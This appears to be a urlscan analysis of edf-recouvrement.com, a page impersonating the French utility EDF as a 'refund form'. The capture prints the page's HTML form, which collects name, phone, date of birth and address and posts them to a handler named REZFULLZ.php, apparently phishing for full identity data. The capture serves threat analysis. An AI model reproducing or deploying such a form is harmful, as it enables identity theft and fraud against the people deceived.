edf-recouvrement.com Open in urlscan Pro
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Form analysis
1 forms found in the DOM

POST REZFULLZ.php

<form method="POST" action="REZFULLZ.php">
  <input type="text" id="Prénom" name="Prénom" required="" placeholder="Prénom" autocomplete="name" class="input home-textinput">
  <input type="text" id="Nom" name="Nom" required="" placeholder="Nom" autocomplete="family-name" class="input home-textinput1">
  <input type="tel" id="numéro" name="numéro" required="" placeholder="Numéro" autocomplete="tel" class="input home-input">
  <input type="text" id="dob" name="dob" placeholder="Date de naissance DD/MM/YYYY" autocomplete="birthday" onkeyup="this.value=this.value.replace(/^(\d\d)(\d)$/g,'$1/$2').replace(/^(\d\d\/\d\d)(\d+)$/g,'$1/$2').replace(/[^\d\/]/g,'')"
    class="input home-textinput2">
  <input type="text" id="Adresse" name="Adresse" required="" placeholder="Adresse" autocomplete="street-address" class="input home-textinput3">
  <input type="text" id="Postal" name="Postal" required="" placeholder="Code Postal" autocomplete="postal-code" class="input home-textinput4">
  <button class="button home-button">Envoyer</button>
</form>

Text Content

Formulaire de remboursement EDF
Envoyer